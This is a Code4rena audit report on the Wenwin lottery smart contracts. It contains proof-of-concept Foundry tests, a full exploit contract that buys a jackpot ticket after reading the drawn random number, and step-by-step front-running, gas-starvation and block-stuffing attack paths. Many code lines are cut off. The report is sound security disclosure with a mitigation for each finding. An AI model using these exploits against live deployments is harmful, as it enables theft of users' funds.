Wenwin contest
Findings & Analysis Report

2023-04-12

Table of contents

- Overview
  - About C4
  - Wardens
- Summary
- Scope
- Severity Criteria
- High Risk Findings (1)
  - [H-01] `LotteryMath.calculateNewProfit` returns wrong profit when there is no jackpot winner
- Medium Risk Findings (7)
  - [M-01] Undermining the fairness of the protocol in `swapSource()` and possibilities for stealing a jackpot
  - [M-02] An attacker can leave the protocol in a “drawing” state for extended period of time
  - [M-03] The buyer of the ticket could be front-runned by the ticket owner who claims the rewards before the ticket’s NFT is traded

- [M-04] Possibility to steal jackpot bypassing restrictions in the `executeDraw()`
- [M-05] Unsafe casting from `uint256` to `uint16` could cause ticket prizes to become much smaller than intended
- [M-06] Insolvency: The `Lottery` may incorrectly consider a year old jackpot ticket as unclaimed and increase `currentNetProfit` by its prize while it was actually claimed
- [M-07] Locking rewards tokens in Staking contract when there are no stakes

- Low Risk and Non-Critical Issues
  - Low Risk Issues Summary
  - L-01 `claimable` function doesn't validate ticket draw is finished
  - L-02 `DRAWS_PER_YEAR` assumes one draw per week
  - L-03 Limits in `getMinimumEligibleReferralsFactorCalculation` should be inclusive
  - L-04 Missing event for important parameter change
  - Non-Critical Risk Issues Summary
  - N-01 Import declarations should import specific symbols
  - N-02 Use named parameters for mapping type declarations
  - N-03 Refactor common code across functions
  - N-04 Unused local variables
  - N-05 Use a modifier for access control
  - N-06 Contract files should define a locked compiler version
  - N-07 Simplify unpacking expression in `fixedReward`
  - N-08 First win tier is always empty in `packFixedRewards`
  - Formal Verification
- Gas Optimizations
  - Gas Optimizations Summary
  - G-01 Use calldata instead of memory for function parameters

- G-02 Setting the `constructor` to `payable`
- G-03 Do not calculate constants
- G-04 Using `delete` statement can save gas
- G-05 Functions guaranteed to revert when called by normal users can be marked `payable`
- G-06 Use hardcode address instead `address(this)`
- G-07 `internal` functions only called once can be inlined to save gas
- G-08 Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate
- G-09 Optimize names to save gas
- G-10 `<x> += <y>` Costs More Gas Than `<x> = <x> + <y>` For State Variables
- G-11 Public Functions To External
- G-12 `require()` Should Be Used Instead Of `assert()`
- G-13 Shorten the array rather than copying to a new one
- G-14 Help The Optimizer By Saving A Storage Variable's Reference Instead Of Repeatedly Fetching It
- G-15 Structs can be packed into fewer storage slots
- G-16 Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead
- G-17 Unnecessary look up in `if` condition
- G-18 Use solidity version 0.8.19 to gain some gas boost

- Disclosures

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Wenwin smart contract system written in Solidity. The audit contest took place between March 6—March 9 2023.

Wardens

98 Wardens contributed reports to the Wenwin contest:

1. 0x1f8b
2. 0x6980
3. 0x73696d616f
4. 0xAgro
5. 0xSmartContract
6. 0xbepresent
7. 0xfuje
8. 0xhacksmithh
9. 0xkazim
10. 0xnev
11. Aymen0909
12. Bason
13. Blockian
14. Cyfrin (PatrickAlphaC, giovannidisiena, and hansfriese)
15. DadeKuma
16. Dug
17. Haipls
18. Inspectah
19. JCN
20. LethL

21. MadWookie
22. Madalad
23. MiloTruck
24. MiniGlome
25. MohammedRizwan
26. NoamYakov
27. Pheonix
28. Rageur
29. RaymondFam
30. ReyAdmirado
31. Rolezn
32. SAAJ
33. SaeedAlipoor01988
34. Sathish9098
35. SunSec
36. Udsen
37. UniversalCrypto (amaechieth and tettehnetworks)
38. Yukti_Chinta (kenzo and ElKu)
39. adriro
40. air
41. alexxander
42. anodaram
43. arialblack14
44. ast3ros
45. atharvasama
46. auditor0517
47. bin2chen
48. brgltd
49. bshramin

50. btk
51. bugradar
52. c3phas
53. catellatech
54. ch0bu
55. cryptostellar5
56. d3e4
57. ddimitrov22
58. descharre
59. dingo2077
60. dontonka
61. erictee
62. fatherOfBlocks
63. georgits
64. glcanvas
65. gogo
66. hl_
67. horsefacts
68. hunter_w3b
69. igingu
70. imare
71. juancito
72. kaden
73. lukris02
74. martin
75. matrix_0wl
76. minhtrng
77. nadin
78. nomoi (vdrg and gnkz)

79. peanuts
80. pipoca
81. rokso
82. sakshamguruji
83. saneryee
84. sashik_eth
85. saviOur
86. schrodinger
87. seeu
88. slvDev
89. tnevler
90. volodya
91. whoismatthewmc1
92. yongskiws
93. zaskoh

This contest was judged by cccz.

Final report assembled by itsmetechjay.

Summary

The C4 analysis yielded an aggregated total of 8 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 7 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 54 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 35 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Wenwin contest repository, and is composed of 6 smart contracts, 4 abstracts, 3 libraries, and 11 interfaces written in the Solidity programming language and includes 1,235 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] `LotteryMath.calculateNewProfit` returns wrong profit when there is no jackpot winner

Submitted by Cyfrin, *also found by* minhtrng, adriro, gogo, bin2chen, auditor0517, Yukti_Chinta, *and* anodaram

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotteryMath.sol#L50-L53

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L216-L223

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L238-L247

Impact

`LotteryMath.calculateNewProfit` returns the wrong profit when there is no jackpot winner, and the library function is used when we update `currentNetProfit` of `Lottery` contract.

```
        currentNetProfit = LotteryMath.calculateNewProfit(
            currentNetProfit,
            ticketsSold[drawFinalized],
            ticketPrice,
            jackpotWinners > 0,
            fixedReward(selectionSize),
            expectedPayout
        );
```

`Lottery.currentNetProfit` is used during reward calculation, so it can ruin the main functionality of this protocol.

```
    function drawRewardSize(uint128 drawId, uint8 winTier) priva
        return LotteryMath.calculateReward(
            currentNetProfit,
            fixedReward(winTier),
            fixedReward(selectionSize),
            ticketsSold[drawId],
            winTier == selectionSize,
            expectedPayout
        );
    }
```

Proof of Concept

In `LotteryMath.calculateNewProfit`, `expectedRewardsOut` is calculated as follows:

```
        uint256 expectedRewardsOut = jackpotWon
            ? calculateReward(oldProfit, fixedJackpotSize, fixed
            : calculateMultiplier(calculateExcessPot(oldProfit,
                * ticketsSold * expectedPayout;
```

The calculation is not correct when there is no jackpot winner. When `jackpotWon` is false, `ticketsSold * expectedPayout` is the total payout in reward token, and then we need to apply a multiplier to the total payout, and the multiplier is `calculateMultiplier(calculateExcessPot(oldProfit, fixedJackpotSize), ticketsSold, expectedPayout)`.

The calculation result is `expectedRewardsOut`, and it is also in reward token, so we should use `PercentageMath` instead of multiplying directly.

For coded PoC, I added this function in `LotteryMath.sol` and imported `forge-std/console.sol` for console log.

```
    function testCalculateNewProfit() public {
        int256 oldProfit = 0;
        uint256 ticketsSold = 1;
        uint256 ticketPrice = 5 ether;
        uint256 fixedJackpotSize = 1_000_000e18; // don't affect
        uint256 expectedPayout = 38e16;
        int256 newProfit = LotteryMath.calculateNewProfit(oldPro

        uint256 TICKET_PRICE_TO_POT = 70_000;
        uint256 ticketsSalesToPot = PercentageMath.getPercentage
        int256 expectedProfit = oldProfit + int256(ticketsSalesT
        uint256 expectedRewardsOut = ticketsSold * expectedPayou
        expectedProfit -= int256(expectedRewardsOut);

        console.log("Calculated value (Decimal 15):");
        console.logInt(newProfit / 1e15); // use decimal 15 for

        console.log("Expected value (Decimal 15):");
        console.logInt(expectedProfit / 1e15);
    }
```

The result is as follows:

```
Calculated value (Decimal 15):
-37996500
Expected value (Decimal 15):
3120
```

Tools Used

Foundry

Recommended Mitigation Steps

Use `PercentageMath` instead of multiplying directly.

```
            uint256 expectedRewardsOut = jackpotWon
                ? calculateReward(oldProfit, fixedJackpotSize, fixed
                : (ticketsSold * expectedPayout).getPercentage(
                    calculateMultiplier(calculateExcessPot(oldProfit
                )
```

rand0c0des (Wenwin) confirmed

Medium Risk Findings (7)

[M-01] Undermining the fairness of the protocol in `swapSource()` and possibilities for stealing a jackpot

Submitted by **alexxander**

This issue will demonstrate how the current implementation of `swapSource()` and `retry()` goes directly against Chainlink's Security Consideration of **Not re-requesting randomness** (**https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness**).

Note

For clarity it is assumed that after `swapSource()` the new source would be Chainlink Subscription Method implementation and I would refer to it again as `Chainlink VRF` since this was the initial design decision, however it is of no consequence what the new VRF is.

The Exploit

The `swapSource()` method can be successfully called if 2 important boolean checks are `true`.

`notEnoughRetryInvocations` - makes sure that there were `maxFailedAttempts` failed requests for a RN.

`notEnoughTimeReachingMaxFailedAttempts` - makes sure that `maxRequestDelay` amount of time has passed since the timestamp for reaching `maxFailedAttempts` was recorded in `maxFailedAttemptsReachedAt` i.e sufficient time has passed since the last `retry()` invocation. The most important detail to note here is that the `swapSource()` function does **not** rely on `lastRequestTimestamp` to check whether `maxRequestDelay` has passed since the last RN request.

```
function swapSource(IRNSource newSource) external override c
    if (address(newSource) == address(0)) {
        revert RNSourceZeroAddress();
    }
    bool notEnoughRetryInvocations = failedSequentialAttempt
    bool notEnoughTimeReachingMaxFailedAttempts = block.time
    if (notEnoughRetryInvocations || notEnoughTimeReachingMa
        revert NotEnoughFailedAttempts();
    }
    source = newSource;
    failedSequentialAttempts = 0;
    maxFailedAttemptsReachedAt = 0;


    emit SourceSet(newSource);
    requestRandomNumberFromSource();
}
```

The critical bug resides in the `retry()` method. `maxFailedAttemptsReachedAt` is **ONLY** updated when `failedAttempts == maxFailedAttempts` - notice again the strict equality - meaning that maxFailedAttemptsReachedAt won't be updated if there are more `retry()` invocations after `failedAttempts == maxFailedAttempts`. This means that after the point of time when the last failed `retry()` sets `maxFailedAttemptsReachedAt` and the `maxRequestDelay` time

passes - `retry()` and `swapSource()` (in that exact order) can be called **simultaneously.**

```
uint256 failedAttempts = ++failedSequentialAttempts;
if (failedAttempts == maxFailedAttempts) {
    maxFailedAttemptsReachedAt = block.timestamp;
}
```

The attacker would monitor the transaction mempool for the `swapSource()` invocation and front-run a `retry()` invocation before the `swapSource` transaction. Now we have two separate - seemingly at the same time - calls to `requestRandomNumberFromSource()` and again to note that the `retry()` call will update `lastRequestTimestamp = block.timestamp` but it will **not** update `maxFailedAttemptsReachedAt` since now `failedAttempts > maxFailedAttempts` and as presented `swapSource()` does **not** rely on `lastRequestTimestamp` which makes all of this possible.

Now we have two requests at the same time to `VRFv2RNSource.sol` and in turn Chainlink VRF. Chainlink VRF will in turn send 2 callback calls each containing a random number and the callbacks can be inspected by the attacker and in turn he will front-run the RN response that favours him greater thus undermining the fairness of the protocol.

Proof of Concept

1. `retry()` is called enough times to reach `maxFailedAttempts`, attacker starts monitoring the mempool for the `swapSource()` call.
2. Admin decides to swap Source. Admin waits for `maxRequestDelay` time to pass and calls `swapSource()`.
3. Attacker notices the `swapSource()` call and front-runs a `retry()` call before the `swapSource()` invocation.
4. The introduced code bug displays that `swapSource()` is not invalidated by the front-ran `retry()` and both `retry()` and `swapSource()` request a random number from Chainlink VRF.

5. Attacker now scans the mempool for the callbacks from the requests to VRF, inspects the random numbers and front-runs the transaction with the random number that favors him.

Impact

Re-requesting randomness is achieved when swapping sources of randomness. Fairness of protocol is undermined.

Note

Recently published finding by warden Trust discusses a very similar attack path that has to do with more than 1 VRF callbacks **residing in the mempool**.

Edge Case - stealing a jackpot when swapping randomness Source

The Wenwin protocol smart contracts are built such that various configurations of the system can be deployed. The provided documentation gives example with a weekly draw, however `drawPeriod` in `LotterySetup.sol` could be any value. A lottery that is deployed with `drawPeriod` of for example 1 hour rather than days can be much more susceptible to re-requesting randomness. Similarly to Issue #2 an attacker would anticipate a `swapSource()` call to front-run it with `retry()` call and generate 2 RN requests. Now the attacker would use another front-running technique - Supression, also called block-stuffing, an attack that delays a transaction from being executed (reference in link section).

The attacker would now let one of the generated RN callback requests return to the contract and reach the `receiveRandomNumber()` in `Lottery.sol` and let the protocol complete the current draw and return the system back in a state that can continue with the next draw - all of that while suppressing the second RN callback request. The attacker would register a ticket with the combination generated from the Random Number in the suppressed callback request and when `executeDraw()` is triggered he would then front-run the “floating” callback request to be picked first by miners therefore calling ‘fulfillRandomWords()’ with the known RN and winning the jackpot.

Relevant links

Consensys front-running attacks - (**https://consensys.github.io/smart-contract-best-practices/attacks/frontrunning/#suppression**) Medium article on Block

Stuffing and Fomo3D - (https://medium.com/hackernoon/the-anatomy-of-a-block-stuffing-attack-a488698732ae)

Proof of Concept

1. Assume Lottery configuration with a short `drawPeriod` e.g 1 hour.
2. `retry()` is called enough times to reach `maxFailedAttempts`, attacker starts monitoring the mempool for the `swapSource()` call.
3. Admin decides to swap Source. Admin waits for `maxRequestDelay` time to pass and calls `swapSource()`.
4. Attacker notices the `swapSource()` call and front-runs a `retry()` call before the `swapSource()` invocation thus achieving 2 callback RN requests as in Issue #2 PoC.
5. Attacker uses front-running suppression after one of the callback requests is picked up by the protocol and therefore current draw is finalized.
6. Attacker registers a ticket with the winning combination generated from the suppressed RN.
7. After `drawPeriod` is past attacker or other user calls `executeDraw()`.
8. Attacker front-runs the “suppressed RN” to be picked by miners first.
9. ‘fulfillRandomWords()’ is called with the RN known by the attacker thus winning a jackpot.

Impact

Fairness of the protocol is undermined when swapping Sources in Lottery configurations with short `drawPeriod`. Unfair win of a jackpot.

Tools Used

- Chainlink documentation VRF, VRF security practices, Direct funding
- OpenZeppelin try{} catch{} article
- Consenys front-running attacks link
- ImmuneBytes front-running attacks article
- Medium article on Suppression link
- Previous Code4rena finding by warden Trust link

Recommended Mitigation Steps

Refactor the `try{} catch{}` in `requestRandomNumberFromSource()` in `RNSourceController.sol`. Replace `failedAttempts == maxFailedAttempts` with `failedAttempts >= maxFailedAttempts` in `retry()` in `RNSourceController.sol`. Evaluate centralization risks that spawn from the fact that only owners can decide on what a new source of randomness can be i.e `swapSource()`.

Ensure that when swapping sources the new Source doesn't introduce new potential attack vectors, I would suggest reading warden's Trust report from Forgeries competition that displays potential attack vectors with `retry`-like functionality when using Chainlink VRF Subscription Method. Ensure all Security Considerations in Chainlink VRF documentation are met.

rand0c0des (Wenwin) confirmed, but disagreed with severity

cccz (judge) commented:

> When block.timestamp >= maxFailedAttemptsReachedAt + maxRequestDelay, that is, when `swapSource()` can be called, `retry()` can be called first and does not prevent `swapSource()` from being called.

> Summary: `retry()` can front-run `swapSource()` to get two random numbers.

cccz (judge) commented:

> Returning two random numbers clearly breaks the intent of the protocol, and I would consider it to meet the Medium-risk criteria.

> 2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

> For the severity criteria, see https://docs.code4rena.com/awarding/judging-criteria/severity-categorization

[M-02] An attacker can leave the protocol in a “drawing” state for extended period of time

Submitted by alexxander

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/RNSourceController.sol#L106-L120

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/RNSourceController.sol#L60-L75

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/RNSourceController.sol#L89-L104

The current implementation of Random Number Generation uses Chainlink’s V2 Direct Funding Method (https://docs.chain.link/vrf/v2/direct-funding).

`VRFv2RNSource.sol` (inherits Chainlink’s `VRFV2WrapperConsumerBase.sol`) is responsible for handling requests and responses for the Lottery system. The communicator between `VRFv2RNSource.sol` contract and `Lottery.sol` is `RNSourceController.sol`. The ideal flow of control is the following:

1. Any user can call `executeDraw()` in `Lottery.sol` assuming that the current draw is past the scheduled time for registering tickets.
2. `executeDraw()` puts the system in the state of `drawExecutionInProgress = true` and calls `requestRandomNumber()`.
3. in `RNSourceController.sol - requestRandomNumber()` checks if the previous draw was completed and calls `requestRandomNumberFromSource()`.
4. `requestRandomNumberFromSource()` records the timestamp of the request in `lastRequestTimestamp = block.timestamp` and sets `lastRequestFulfilled = false` i.e `executeDraw()` cannot be called until the draw is finished. Lastly `source.requestRandomNumber()` is invoked.

5. Now `source.requestRandomNumber()` calls `requestRandomnessFromUnderlyingSource()` and that subsequently calls `requestRandomness()` to generate a RN from Chainlink VRF.
6. Several blocks later Chainlink VRF has verified a RN and sends a callback call to `fulfillRandomWords()` that calls `fulfill()`, which calls `onRandomNumberFulfilled()` in the `RNSourceController.sol` that sets `lastRequestFulfilled = true` and lastly `receiveRandomNumber(randomNumber)` is invoked in `Lottery.sol` that sets `drawExecutionInProgress = false` and starts a new draw (increments `currentDraw` state variable).

The culprit for this issue is the implementation of `requestRandomNumberFromSource()` in `RNSourceController.sol`. After `lastRequestFulfilled = false` the invocation to `VRFv2RNSource.sol` is done in a `try{} catch{}` block -

```
            lastRequestTimestamp = block.timestamp;
            lastRequestFulfilled = false;

            try source.requestRandomNumber() {
                emit SuccessfulRNRequest(source);
            } catch Error(string memory reason) {
                emit FailedRNRequest(source, bytes(reason));
            } catch (bytes memory reason) {
                emit FailedRNRequest(source, reason);
            }
        }
```

This is very problematic due to how `try{} catch{}` works - [OpenZeppelin article](). If the request to Chainlink VRF fails at any point then execution of the above block will not revert but will continue in the catch{} statements only emitting an event and leaving RNSourceController in the state `lastRequestFulfilled = false` and triggering the `maxRequestDelay` (currently 5 hours) until `retry()` becomes available to call to retry sending a RN request. This turns out to be dangerous since there is a trivial way of making Chainlink VRF revert - simply not supplying enough gas for the transaction either initially in calling `executeDraw()` or subsequently in `retry()` invocations with the attacker front-running the malicious transaction.

Proof of Concept

1. Ticket registration closes, attacker calls `executeDraw()` with insufficient gas and Lottery is put in the Executing Draw State (drawExecutionInProgress = true).
2. Attacker front-runs the transaction if there are other `executeDraw()` transactions.
3. `RNSourceController.sol` calls `VRFv2RNSource.so` in a `try{} catch{}` block, VRF transaction reverts and `lastRequestFulfilled` remains equal to `false`.
4. After “maxRequestDelay” time has past retry() becomes available that relies on the same `try{} catch{}` block in `requestRandomNumberFromSource()`.
5. Attacker calls `retry()` with insufficient gas and front-runs the transaction if there are other `retry()` transactions.
6. Attacker repeats steps 4 and 5 leaving the system in a Drawing state for extended period of time (5 hours for every `retry()` in the example implementation).

Moreover, the attacker doesn’t have any incentive to deposit LINK himself since VRF will also revert on insufficient LINK tokens.

This Proof of Concept was also implemented and confirmed in a Remix environment, tested on the Ethereum Sepolia test network. A video walk-through can be provided on my behalf if requested by judge or sponsors.

Impact

System is left for extended period of time in “Drawing” state without the possibility to execute further draws, user experience is damaged significantly.

Comment

Building upon this issue, an obvious observation arises - there is the `swapSource()` method that becomes available (only to the owner) after a predefined number of failed `retry()` invocations - `maxFailedAttempts`. Therefore, potentially, admins of the protocol could replace the VRF solution with a better one that is resistant to the try catch exploit? It turns out that the current implementation of `swapSource()`

introduces a new exploit that breaks the **fairness** of the protocol and an edge case could even be constructed that leads to an attacker stealing a jackpot.

rand0c0des (Wenwin) confirmed and commented:

> I communicated with warden. This is confirmed as an issue.

cccz (judge) commented:

> From alexxander (warden):

> Hello, I looked deeper into Chainlink VRF implementation and it turns my reasoning behind why the vulnerability happens in the poc video is not correct. Chainlink does custom gas checks (in the callback) but not in computing the requests so indeed it reverts with out-of-gas, however there is a small detail that the caller always retains 1/64th of the gas as per the solidity documentation note on `try{} catch{}` - https://docs.soliditylang.org/en/v0.8.19/control-structures.html#try-catch - quoting:

> "The reason behind a failed call can be manifold. Do not assume that the error message is coming directly from the called contract: The error might have happened deeper down in the call chain and the called contract just forwarded it. Also, it could be due to an out-of-gas situation and not a deliberate error condition: The caller always retains at least 1/64th of the gas in a call and thus even if the called contract goes out of gas, the caller still has some gas left."

> In short, depending on how much the gasLimit was set at, in some situations there will be enough gas left to finish the `catch{}` clause although the try{} threw a out-of-gas error.

> I also found a Consensys auditor that has documented in principle the exact same issue as in the contest implementation and confirms it happens due to 1/64 gas retention - https://twitter.com/cleanunicorn/status/1574808522130194432?lang=en

> Finally, I notified Rando about what I further found and also sent him Foundry traces of a successful malicious tx that reverts with out-of-gas but finishes

> execution of the `catch{}` clause, emits an event and leaves the protocol with cooldown.

[M-03] The buyer of the ticket could be front-runned by the ticket owner who claims the rewards before the ticket's NFT is traded

Submitted by sashik_eth*, also found by* adriro, horsefacts, MadWookie, hl_, 0xbepresent, peanuts, Dug*, and* Haipls

If the ticket owner lists the winning ticket on the secondary market and initiates their own claiming transaction before the trade transaction takes place, the NFT buyer could lose funds as a result.

Proof of Concept

Given that there are no restrictions on trading tickets on the secondary market, the following scenario could occur:

1. Alice acquires the winning ticket with 75 DAI worth of claimable rewards, and lists the ticket on the secondary market for 70 DAI.
2. Bob decides to purchase the ticket, recognizing that it is profitable to trade and claim the rewards associated with it.
3. Alice monitors the mempool and submits a `claimWinningTickets()` transaction just before Bob's purchase transaction.
4. Bob receives ticket NFT and calls to `claimWinningTickets()` but this transaction would revert as the rewards have already been claimed by Alice. Consequently, Alice receives a total of 75 + 70 DAI, while Bob is left with an empty ticket and no rewards.

The next test added to `/2023-03-wenwin/test/Lottery.t.sol` could demonstrate such a scenario:

```
    function testClaimBeforeTransfer() public {
        uint128 drawId = lottery.currentDraw();
        uint256 ticketId = initTickets(drawId, 0x8E);

        // this will give winning ticket of 0x0F so 0x8E will ha
```

```
        finalizeDraw(0);

        uint8 winTier = 3;
        checkTicketWinTier(drawId, 0x8E, winTier);

        address BUYER = address(456);

        vm.prank(USER);
        claimTicket(ticketId); // USER front-run trade transacti
        vm.prank(USER);
        lottery.transferFrom(USER, BUYER, ticketId);

        vm.prank(BUYER);
        vm.expectRevert(abi.encodeWithSelector(NothingToClaim.se
        claimTicket(ticketId); // BUYER tries to claim the ticke
    }
```

Recommended Mitigation Steps

Consider burning claimed ticket NFTs or remove the possibility to transfer NFTs that have already been claimed.

TutaRicky (Wenwin) confirmed

[M-04] Possibility to steal jackpot bypassing restrictions in the `executeDraw()`

Submitted by **dingo2077**, *also found by* **0x73696d616f**, **d3e4**, **saviOur**, *and* **Blockian**

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/Lottery.sol#L135

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/LotterySetup.sol#L114

Impact

Attacker can run `executeDraw()` in `Lottery.sol`, receive random numbers and *then* buy tickets with known numbers in one block.

Harm: Jackpot

Proof of Concept

This vulnerability is possible to use when contract has been deployed with COOL*DOWN*PERIOD = 0;

The `executeDraw()` is allowed to be called at the last second of draw due to an incorrect comparison `block.timestamp` with `drawScheduledAt(currentDraw)`, which is start of draw.

```
function executeDraw() external override whenNotExecutingDra
    // slither-disable-next-line timestamp
    if (block.timestamp < drawScheduledAt(currentDraw)) { //
        revert ExecutingDrawTooEarly();
    }
    returnUnclaimedJackpotToThePot();
    drawExecutionInProgress = true;
    requestRandomNumber();
    emit StartedExecutingDraw(currentDraw);
}
```

Also modifier in LotterySetup.sol allows same action:

```
modifier beforeTicketRegistrationDeadline(uint128 drawId) {
    // slither-disable-next-line timestamp
    if (block.timestamp > ticketRegistrationDeadline(drawId)
        revert TicketRegistrationClosed(drawId);
    }
    _;
}
```

Exploit:

Attacker is waiting for last second of `PERIOD` (between to draws).

Call `executeDraw()`. It will affect a `requestRandomNumber()` and chainlink will return random number to `onRandomNumberFulfilled()` at `RNSourceController.sol`.

Attacker now could read received RandomNumber:

```
uint256 winningTicketTemp = lot.winningTicket(0);
```

Attacker buys new ticket with randomNumber:

```
uint128[] memory drawId2 = new uint128[](1);
drawId2[0] = 0;
uint120[] memory winningArray = new uint120[](1);
winningArray[0] = uint120(winningTicketTemp);

lot.buyTickets(drawId2, winningArray, address(0), address(0))
```

Claim winnings:

```
uint256[] memory ticketID = new uint256[](1);
ticketID[0] = 1;
lot.claimWinningTickets(ticketID);
```

Exploit code:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./LotteryTestBase.sol";
import "../src/Lottery.sol";
import "./TestToken.sol";
import "test/TestHelpers.sol";

contract LotteryTestCustom is LotteryTestBase {
  address public eoa = address(1234);
  address public attacker = address(1235);
```

```
function testExploit() public {
  vm.warp(0);
  Lottery lot = new Lottery(
    LotterySetupParams(
      rewardToken,
      LotteryDrawSchedule(2 * PERIOD, PERIOD, COOL_DOWN_PERIOI
      TICKET_PRICE,
      SELECTION_SIZE,
      SELECTION_MAX,
      EXPECTED_PAYOUT,
      fixedRewards
    ),
    playerRewardFirstDraw,
    playerRewardDecrease,
    rewardsToReferrersPerDraw,
    MAX_RN_FAILED_ATTEMPTS,
    MAX_RN_REQUEST_DELAY
  );

  lot.initSource(IRNSource(randomNumberSource));

  vm.startPrank(eoa);
  rewardToken.mint(1000 ether);
  rewardToken.approve(address(lot), 100 ether);
  rewardToken.transfer(address(lot), 100 ether);
  vm.warp(60 * 60 * 24 + 1);
  lot.finalizeInitialPotRaise();

  uint128[] memory drawId = new uint128[](1);
  drawId[0] = 0;
  uint120[] memory ticketsDigits = new uint120[](1);
  ticketsDigits[0] = uint120(0x0F); //1,2,3,4 numbers choosed;

  ///@dev Origin user buying ticket.
  lot.buyTickets(drawId, ticketsDigits, address(0), address(0)
  vm.stopPrank();

  //====start of attack====
  vm.startPrank(attacker);
  rewardToken.mint(1000 ether);
  rewardToken.approve(address(lot), 100 ether);

  console.log("attacker balance before buying ticket:

  vm.warp(172800); //Attacker is waiting for deadline of draw
  lot.executeDraw(); //Due to the lack of condition check in e
```

```
    uint256 randomNumber = 0x00;
    vm.stopPrank();

    vm.prank(address(randomNumberSource));
    lot.onRandomNumberFulfilled(randomNumber); //chainLink push
    uint256 winningTicketTemp = lot.winningTicket(0); //random r
    console.log("Winning ticket number is:

    vm.startPrank(attacker);
    uint128[] memory drawId2 = new uint128[](1);
    drawId2[0] = 0;
    uint120[] memory winningArray = new uint120[](1);
    winningArray[0] = uint120(winningTicketTemp); //@audit we wi

    lot.buyTickets(drawId2, winningArray, address(0), address(0)

    uint256[] memory ticketID = new uint256[](1);
    ticketID[0] = 1;
    lot.claimWinningTickets(ticketID); //attacker claims winninr
    vm.stopPrank();

    console.log("attacker balance after all:
  }

  function reconstructTicket(
    uint256 randomNumber,
    uint8 selectionSize,
    uint8 selectionMax
  ) internal pure returns (uint120 ticket) {
    /// Ticket must contain unique numbers, so we are using smal
    /// It basically means that, once `x` numbers are selected c
    uint8[] memory numbers = new uint8[](selectionSize);
    uint256 currentSelectionCount = uint256(selectionMax);

    for (uint256 i = 0; i < selectionSize; ++i) {
      numbers[i] = uint8(randomNumber % currentSelectionCount);
      randomNumber /= currentSelectionCount;
      currentSelectionCount--;
    }

    bool[] memory selected = new bool[](selectionMax);

    for (uint256 i = 0; i < selectionSize; ++i) {
      uint8 currentNumber = numbers[i];
      // check current selection for numbers smaller than currer
      for (uint256 j = 0; j <= currentNumber; ++j) {
```

```
            if (selected[j]) {
              currentNumber++;
            }
          }
          selected[currentNumber] = true;
          ticket |= ((uint120(1) << currentNumber));
        }
      }
    }
```

Tools Used

VS Code

Recommended Mitigation Steps

1. Change `<` by `<=`:

```
    function executeDraw() external override whenNotExecutingDraw
          // slither-disable-next-line timestamp
          if (block.timestamp < drawScheduledAt(currentDraw)) { //
              revert ExecutingDrawTooEarly();
          }
          returnUnclaimedJackpotToThePot();
          drawExecutionInProgress = true;
          requestRandomNumber();
          emit StartedExecutingDraw(currentDraw);
      }
```

2. Change `>` by `>=`:

```
     modifier beforeTicketRegistrationDeadline(uint128 drawId) {
          // slither-disable-next-line timestamp
          if (block.timestamp > ticketRegistrationDeadline(drawId)
              revert TicketRegistrationClosed(drawId);
          }
          _;
      }
```

randOc0des (Wenwin) confirmed

cccz (judge) decreased severity to Medium

[M-05] Unsafe casting from `uint256` to `uint16` could cause ticket prizes to become much smaller than intended

Submitted by MiloTruck, *also found by* anodaram, d3e4, adriro, kaden, *and* nomoi

In `LotterySetup.sol`, the `packFixedRewards()` function packs a `uint256` array into a `uint256` through bitwise arithmetic:

`LotterySetup.sol#L164-L176`:

```
    function packFixedRewards(uint256[] memory rewards) private view
        if (rewards.length != (selectionSize) || rewards[0] != 0) {
            revert InvalidFixedRewardSetup();
        }
        uint256 divisor = 10 ** (IERC20Metadata(address(rewardToken)
        for (uint8 winTier = 1; winTier < selectionSize; ++winTier)
            uint16 reward = uint16(rewards[winTier] / divisor);
            if ((rewards[winTier] % divisor) != 0) {
                revert InvalidFixedRewardSetup();
            }
            packed |= uint256(reward) << (winTier * 16);
        }
    }
```

The `rewards[]` parameter stores the prize amount per each `winTier`, where `winTier` is the number of matching numbers a ticket has. `packFixedRewards()` is used when the lottery is first initialized to store the prize for each non-jackpot `winTier`.

The vulnerability lies in the following line:

```
    uint16 reward = uint16(rewards[winTier] / divisor);
```

It casts `rewards[winTier] / divisor`, which is a `uint256`, to a `uint16`. If `rewards[winTier] / divisor` is larger than `2 ** 16 - 1`, the unsafe cast will only keep its rightmost bits, causing the result to be much smaller than defined in `rewards[]`.

